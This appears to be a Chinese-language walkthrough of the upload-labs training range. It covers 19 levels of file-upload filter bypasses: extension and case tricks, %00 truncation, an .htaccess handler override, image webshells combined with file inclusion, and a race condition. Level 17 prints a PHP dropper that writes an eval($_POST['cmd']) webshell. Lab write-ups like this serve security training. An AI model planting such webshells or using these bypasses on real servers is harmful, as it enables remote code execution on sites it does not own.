upload-labs靶场

第一关

删除前端js校验

return checkFile()

就能上传成功

第二关(抓包文件类型校验)

BP抓包修改后缀

第三关(上传php同种类型的不同后缀)

根据源码发现这关的黑名单不太严谨,我们就可以使用php同种类型的不同后缀

第四关(双上传)

根据源码发现这些后缀的都无法上传，这时候就要用到.htaccess文件上传了

上传.htaccess配置文件

AddType application/x-httpd-php .png

把我们的木马文件后缀修改为png,在就可以了

第五关(大小写绕过)

根据源码发现这关没有过滤大小写

就可以上传成功了

第六关(空格绕过)

根据源码发现这关没有过滤首尾空格

在文件后面添加一个空格就可以上传成功了

第七关(点绕过)

根据源码发现这关没有过滤文件末尾的点

抓包修改文件名,在文件末尾加一个点,就可以上传成功

第八关(::$DATA绕过)

根据源码发现这关没有过滤::$DATA

在文件末尾加上::$DATA就可以成功上传

第九关(点空格点绕过)

根据源码发现这关把我们之前的方式都过滤了

我们可以在文件尾部加上点空格点(. .)就可以成功上传

第十关(重复写绕过)

根据源码发现只有一个黑名单验证

我们只要把文件后缀改成.pphphp就可以成功上传

第十一关(get %00截断绕过)

根据源码发现是一个白名单上传，它只允许上传它给定的后缀名，关键的代码是这里;save_path是一个可控变量

在这里添加/12.php%00截断就可以上传成功了

第十二关(post %00截断绕过)

跟十一关是一样的,只不过换成了POST;这关没有环境是不行的

把%00进行编码

第十三关(文件包含图片马绕过(图片马单靠自己没用，需要一个有文件包含漏洞的php文件将图片马包含到自己的页面上))

copy 6.png/b+1.php 3.png

把我们制作好的图片马上传,点击在信标签打开图片就可看到我们图片的名称

在靶场的文件中有一个include.php

在include.php后面跟上参数和路径就能访问我们的图片马

第十四关(文件包含图片马绕过 同13)

直接上传我们的图片马

第十五关(文件包含图片马绕过 同13)

十五关需要一个模块,在小皮里面打开就可

直接传之前的图片马就行

第十六关(文件包含二次渲染专用图绕过)

这一关会对我们的图片打散进行二次渲染

从网上找一了位大佬的专用二次渲染图片;上传直接就可以成功

大佬的图片:文件上传之二次渲染(专用图).zip - 蓝奏云

第十七关(抓包爆破条件竞争)

根据源码发现,这关我们上传的php文件是上传之后才被删除

我们这关需要写一个生成新的php文件并把我们的一句话写进去

<?php fputs(fopen('h.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>

利用BP抓包发送到攻击模块;清掉所有payload

选择Null和无限重复就可以开始攻击

我们去一直访问1.php直到访问成功就是写进来了

或者去目录下面看

第十八关(上传二次渲染的图片马 文件包含漏洞)

还是把我们二次渲染的图片马上传就行

第十九关(文件名命名规范)

根据源码发现有move_uploaded_file()这样一个函数，它有一个特性，会忽略到文件末尾的/.

抓包之后可以看见多了保存名称，没有对上传的文件做判断，只对用户输入的文件名做判断。

在文件末尾加上/.就可以成功上传